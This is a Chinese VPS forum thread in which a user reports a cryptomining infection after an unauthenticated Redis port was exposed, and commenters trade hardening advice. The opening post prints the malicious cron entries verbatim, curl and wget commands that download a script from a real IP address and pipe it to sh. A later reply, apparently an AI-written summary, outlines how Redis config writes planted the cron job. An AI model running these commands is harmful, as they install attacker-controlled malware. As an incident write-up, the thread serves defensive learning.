用了7年vps,第一次中病毒(被植入挖矿木马)

Unit5967 2026-07-04 17:44 1

早上醒来看到uptimekuma的监控报警邮件,显示redis和一些rclone定时备份任务挂了。登上服务器一看,cron任务被替换成如下内容:


REDIS0009�      redis-ver^E6.2.3�
redis-bits�@�^Ectime�2�Gj�^Hused-mem� )^R^@�^Laof-preamble�^@�^@�^D^@^@^Gbackup4@]
*/5 * * * * wd1 -q -O- http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker | sh
^@^Gbackup2@^
*/3 * * * * wget -q -O- http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker | sh
^@^Gbackup1@\
*/2 * * * * cd1 -fsSL http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker | sh
^@^Gbackup3@]
*/4 * * * * curl -fsSL http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker | sh
�قWn^P�R�

我第一眼还纳闷这是什么玩意,是我命令出错了吗,发给gemini一看:


然后就一杯茶一包烟,VPS整一天。真是充实的一天啊,淦!

最后想说,平时一定要做好安全防范措施,这次就是因为我部署crowdsec的过程中不知怎么的防火墙掉了,ufw停止了,恰巧uptimekuma部署在docker中需要监测宿主机的redis状态,然后就把6379暴露给0.0.0.0了,而redis又因为我懒没有设置密码,就这么半个小时的功夫,就被人扫出来了。

做好安全防范、运行状态监测、日常备份,祝mjj们的vps百毒不侵。

最新回复 (26)
  • wzx 07-04 17:46
    1

    一般我都是整个sb10086作为密码

  • 摸鱼大队长 07-04 17:47
    2

    你这一天能搞定就算好的,我之前自己电脑,被人植入蠕虫,那真是3天的的不眠不休啊。公司资料也漏了。公司电脑也中招。

  • Saqjs-NS 07-04 17:48
    3

    网络安全这块,防不胜防啊。

    之前我也是一直以为是老手了,结果挺久才发现 ufw 拦不住 docker 映射的 0.0.0.0:xxx。好在没被爆破,后来老老实实映射 127.0.0.1 了。

  • lishang1227 07-04 17:51
    4

    高位端口+私钥登录+F2B+指定本地宽带IP段白名单


    能爆破进来算我输

  • Unit5967 楼主 07-04 17:53
    5

    @摸鱼大队长 #2 你这太惨了。我这次是在调试crowdsec过程中ufw挂了一会儿,发现防火墙掉了之后半小时就恢复了,没想到就这半小时就中招了。得亏是一星期之前为了稳定性,弄了restic每日全盘备份rclone到onedrive,也在另外一台vps上做了mariadb的slave。

  • Unit5967 楼主 07-04 17:53
    6

    @Saqjs-NS #3 对,docker可以绕过ufw这点我也是最近刚知道,太哈人了。

  • vlvie 07-04 17:54
    7

    @lishang1227 #4 一看你就是没看完楼主在说什么 ^-^

  • 摸鱼大队长 07-04 17:56
    8

    @Unit5967 #5 我在16年那会经历了一次,23年那会也经历了,买了卡巴斯基,当时觉得他太严了然后删了 ,今年4月份的时候经历了我最惨的一次。然后现在又装上了,昨晚去github找资料的时候解压完成,就报毒了。一去安全站测,好家伙。辛亏没允许

  • Unit5967 楼主 07-04 17:57
    9

    @lishang1227 #4 你没看懂正文中提到的被入侵的原因。ssh的安全加固就不用提了。

  • huilang 07-04 17:57
    10

    是不是装了哪吒

  • Jason-2048 07-04 17:57
    11

    @Unit5967 #6

    快换 firewalld

  • liuguoshou 07-04 18:00
    12

    闲的蛋疼的黑客

  • 糊掉一半 07-04 18:01
    13

    我一般直接重装,一秒解决。重要的东西压根不联网,联网的东西不重要。

  • dv868 07-04 18:05
    14

    @lishang1227 #4

    我防火墙关掉22端口,用wireguard拨到内网10ip段,内网再ssh进去,目前想不到哪里还有漏洞

  • Unit5967 楼主 07-04 18:07
    15

    让gemini总结了一下这个木马,内容如下:




    1. 入侵阶段:寻找突破口(撞门)

      攻击起因:黑客利用自动化扫描脚本,在公网上扫描到了你开放的 Redis 服务端口。

      漏洞利用:由于当时 Redis 处于公网裸奔状态(绑定了 0.0.0.0,且未配置密码或密码较弱导致保护模式失效),黑客通过 Redis 未授权访问漏洞 成功连入内存。

      恶意写入:黑客利用 Redis 的 config set dbfilename 和 config set dir 权限,将内存中的恶意攻击载荷(Payload)强行定向刷新写入到了宿主机的系统定时任务目录 /etc/cron.d/ 中。




    2. 潜伏与持久化阶段:安营扎寨(留后门)

      创建定时任务:黑客在 /etc/cron.d/ 下成功生成了一个名为 javae 的恶意定时任务文件。

      高频触发机制:该任务被设定为高频自动执行,其核心指令是通过 curl 或 wget 悄悄从黑客的远程服务器下载并激活后续的木马主体脚本。

      获取 root 权限:因为 /etc/cron.d/ 只有 root 权限才能写入,此时木马正式完成了系统特权阶层的入侵,拿到了宿主机的最高控制权。




    3. 执行阶段:疯狂掠夺与遭遇战(黑吃黑)

      这是你通过 MONITOR 命令和系统日志直接目击的现场:

      清理同行(黑吃黑):木马脚本运行后的第一件事,是疯狂执行各种 kill 命令、清空 /tmp。它的目的是杀掉你系统里可能存在的其他竞争对手(其他黑客的挖矿程序),企图独占你这台机器的 CPU 算力。

      篡改系统级服务:为了防止被系统自带的防护软件拦截,它尝试执行 sudo systemctl stop nftables 和 disable nftables,企图强行关闭你的系统防火墙,并把目标对准了 crowdsec(打算废掉你的防爆破安全守护进程)。

      拉起挖矿主体:在扫清障碍后,它会在后台秘密下载并启动伪装成系统内核进程(如 kworker 或 XMRig 变种)的挖矿程序,开始疯狂榨干你的 CPU 算力来为黑客赚取加密货币(如门罗币 XMR)。




    4. 扩散阶段:横向移动扫描

      寻找新猎物:木马脚本中包含自动扫描逻辑。它会读取你的网络状态,并开始向你在系统日志中看到的外部公网 IP(如 192.119.x.x 等)疯狂发送探测包,企图将这台 VPS 变成它的跳板机,去感染下一台同样裸奔着 Redis 的无辜服务器。




    5. 它「没有」做到(或者来不及做)的事

      根据你的 ClamAV(14万文件零感染)和 rkhunter(未发现底层 Rootkit 篡改)的满分体检报告,可以确定以下安全底线没有失守:

      没有大面积感染业务文件:它没有修改你的 Nextcloud 核心代码、某某服务的 Python 后端文件,也没有对宿主机的正常可执行文件进行投毒。

      没有对数据库执行 Dump 拖库:这类批量自动化脚本的终极目的是“算力”,黑客并没有人类坐在屏幕后去打包你的 MariaDB 数据。

      没有成功留下 SSH 永久密钥后门:虽然它理论上有能力在 authorized_keys 里塞进黑客的公钥,但这一步已经被你今天用干净的备份公钥物理覆盖擦除,隐患已被彻底拔除。



  • Unit5967 楼主 07-04 18:08
    16

    @huilang #10 跟哪吒没关系,我用的是komari。这次是意外暴露了无密码的redis。

  • Unit5967 楼主 07-04 18:10
    17

    @糊掉一半 #13 我的上面跑了一些服务,例如nextcloud、onlyoffice、qbittorrent、vaultwarden,很难不联网啊。

  • 主机资讯 07-04 18:12
    18

    三层防护都关掉了,这不是一般的失误咯。在企业里研发或者实习生也会犯,还好是个人的,重装就是了

  • Unit5967 楼主 07-04 18:15
    19

    @摸鱼大队长 #8 这次真正感受到常在河边走,哪有不湿鞋的道理了,我不装uptimekuma也不会改redis的监听ip,不部署crowdsec也不会导致ufw挂掉,一环扣一环。我也在电脑上装了卡巴斯基,25年618趁着活动买的80三年。

  • 摸鱼大队长 07-04 18:16
    20

    真便宜啊

  • Unit5967 楼主 07-04 18:19
    21

    @主机资讯 #18 确实问题挺大。这次犯的错主要就是我想着都debian13了,不如使用crowdsec-firewall的nftables模式,一通操作原有的ufw和防火墙都挂了,直接暴露。总结就是理解不到位别玩花活。

  • kissnodesea 07-04 18:20
    22

    @摸鱼大队长 #2 怎么中招的 运行exe吗

  • 摸鱼大队长 07-04 18:21
    23

    @kissnodesea #22 发布于2026/7/4 18:20:20

    @摸鱼大队长 #2 怎么中招的 运行exe吗


    是的

  • samhou 07-04 18:21
    24

    这个确实防不胜防()

    下次买个有网络安全组的鸡

  • tupdys 07-04 18:58
    25

    只暴露一个端口就被黑了?

  • Unit5967 楼主 07-04 19:20
    26

    @tupdys #25 暴露了redis的6379,而redis也没设密码。

* 帖子来源NodeSeek
返回